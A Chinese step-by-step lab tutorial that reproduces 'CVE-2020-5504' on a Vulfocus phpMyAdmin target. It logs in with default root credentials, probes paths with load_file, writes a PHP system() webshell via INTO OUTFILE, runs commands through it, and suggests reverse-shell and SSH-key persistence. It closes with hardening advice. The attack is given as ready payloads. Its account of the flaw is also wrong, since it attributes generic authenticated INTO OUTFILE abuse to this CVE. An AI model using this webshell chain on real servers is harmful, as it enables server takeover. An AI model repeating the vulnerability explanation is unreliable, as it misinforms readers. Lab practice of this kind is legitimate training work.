保姆级教程:在Vulfocus靶场复现CVE-2020-5504(phpMyAdmin SQL注入到Getshell)
从零实战:在Vulfocus靶场复现phpMyAdmin SQL注入漏洞
当你第一次打开Vulfocus靶场,面对那个看似普通的phpMyAdmin登录界面时,可能完全想象不到背后隐藏着一个可以让你完全掌控服务器的漏洞。本文将带你从零开始,一步步复现CVE-2020-5504漏洞,从发现漏洞点到最终获取服务器控制权。这不是一个简单的漏洞复现指南,而是一次完整的渗透测试实战演练,特别适合刚接触Web安全的新手。
1. 环境准备与漏洞背景
在开始之前,我们需要先了解这个漏洞的基本情况和所需环境。Vulfocus是一个开源的漏洞靶场平台,它集成了各种常见漏洞环境,让安全研究人员可以在安全的环境中学习和练习漏洞利用技术。
phpMyAdmin作为最流行的MySQL数据库管理工具之一,其安全性一直备受关注。CVE-2020-5504漏洞允许攻击者通过精心构造的SQL查询,绕过部分安全限制,最终实现任意文件写入(也就是我们常说的"写马")。
所需工具清单:
- 已部署Vulfocus靶场环境(本文使用IP:123.58.224.8:64697为例)
- 现代浏览器(Chrome/Firefox推荐)
- 基础SQL知识
- 一点点耐心
提示:实际操作时,请确保使用自己的Vulfocus实例或获得授权的测试环境,未经授权的渗透测试可能涉及法律问题。
2. 漏洞发现与初步验证
当你首次访问靶场提供的phpMyAdmin界面时,可能会感到无从下手。让我们从最基本的步骤开始:
- 在浏览器中访问靶场提供的URL(如:http://123.58.224.8:64697)
- 在URL后添加
/pma/index.php路径,进入phpMyAdmin登录页面 - 使用默认凭证登录(通常为root/123456)
登录后,我们来到了phpMyAdmin的主界面。这里就是漏洞利用的起点。这个版本的phpMyAdmin存在一个关键缺陷:它没有对用户输入的SQL查询进行充分过滤。
验证漏洞存在的简单方法:
SELECT @@version;如果这个查询能够正常执行并返回MySQL版本信息,说明SQL查询功能可用,为后续利用奠定了基础。
3. 信息收集与路径探测
在能够执行任意SQL查询后,我们需要收集关键系统信息,特别是文件系统路径。这是后续写入Webshell的关键步骤。
3.1 获取数据库路径信息
执行以下查询获取数据库存储路径:
SELECT @@datadir;这个命令会返回MySQL数据目录的绝对路径,通常是类似/var/lib/mysql这样的路径。虽然这不是我们最终需要的Web目录,但它能帮助我们推断系统的目录结构。
3.2 确定Web根目录
Web根目录是我们需要写入Webshell的目标位置。在不知道确切路径的情况下,我们可以尝试一些常见路径:
SELECT load_file('/var/www/html/index.php');如果返回大量数据(通常超过4KB),说明这个路径存在且可读。通过反复尝试,我们可以确定完整的Web路径。在我们的靶场环境中,最终确定的路径是/var/www/html/pma/。
注意:在实际渗透测试中,路径可能会因系统配置而异,需要结合系统信息和经验判断。
4. 构造Webshell与写入技巧
有了Web目录的绝对路径,我们就可以尝试写入Webshell了。Webshell是一段能够让我们通过Web接口执行系统命令的PHP代码。
4.1 基本Webshell构造
一个简单的Webshell代码如下:
<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>这个代码会通过GET参数cmd接收系统命令,执行后将结果包裹在<pre>标签中输出,保持格式清晰。
4.2 使用INTO OUTFILE写入文件
将Webshell写入目标系统的SQL语句如下:
SELECT '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php';执行成功后,我们的Webshell就被写入到了/var/www/html/pma/shell.php路径。
常见问题与解决方案:
- 权限问题:如果写入失败,可能是MySQL用户没有目标目录的写权限。可以尝试其他可写目录。
- 安全限制:某些系统配置可能限制
INTO OUTFILE的使用。可以尝试修改phpMyAdmin配置或寻找其他写入方式。 - 路径问题:确保路径正确,特别是注意斜杠方向(Linux使用正斜杠/)。
5. 漏洞利用与系统控制
成功写入Webshell后,我们就可以通过它来执行系统命令了。
5.1 基本命令执行
访问写入的Webshell(如:http://123.58.224.8:64697/pma/shell.php),并通过cmd参数传递命令:
http://123.58.224.8:64697/pma/shell.php?cmd=ls -l /这将列出根目录下的所有文件和目录,验证我们的Webshell是否正常工作。
5.2 查找flag文件
在CTF和靶场环境中,通常需要找到特定的flag文件。可以尝试以下命令:
find / -name "*flag*" 2>/dev/null或者在常见位置查找:
ls /tmp/ cat /tmp/flag5.3 建立更持久的访问
为了更方便地控制系统,可以考虑:
- 写入更强大的Webshell(如蚁剑连接用的shell)
- 创建反向shell连接
- 添加SSH公钥实现免密登录
6. 漏洞原理深度解析
为什么这个漏洞能够被利用?让我们深入分析其技术原理。
6.1 SQL注入点分析
这个漏洞的核心在于phpMyAdmin对用户输入的SQL查询没有进行充分的过滤和检查。虽然phpMyAdmin作为一个数据库管理工具,需要执行用户提供的SQL语句,但它应该限制某些危险操作,如INTO OUTFILE。
6.2 文件写入机制
MySQL的INTO OUTFILE功能原本是为了将查询结果导出到文件,但在这里被滥用来写入任意文件内容。关键在于:
- MySQL服务需要有目标目录的写权限
- phpMyAdmin配置不能禁用此功能
- 攻击者需要知道Web目录的绝对路径
6.3 权限与配置问题
这个漏洞的利用还依赖于一些常见的配置问题:
- MySQL服务以高权限账户运行
- Web目录和数据库目录权限设置不当
- phpMyAdmin的安全配置不严格
7. 防御措施与安全建议
了解如何利用漏洞后,更重要的是知道如何防御。以下是一些有效的安全措施:
服务器加固建议:
- 将MySQL服务运行在专用低权限账户下
- 严格控制Web目录的写权限
- 定期更新phpMyAdmin到最新版本
phpMyAdmin安全配置:
- 禁用
INTO OUTFILE和LOAD_FILE等危险功能 - 启用双重认证
- 限制允许访问phpMyAdmin的IP地址
监控与日志:
- 监控异常的SQL查询,特别是包含
INTO OUTFILE的查询 - 定期检查Web目录下是否有可疑的PHP文件
- 启用详细的访问日志并定期审计
在实际渗透测试中,每完成一个漏洞利用,都应该思考如何防御它。这种双向思维不仅能帮助你更好地理解漏洞,也能提升你的安全防护能力。
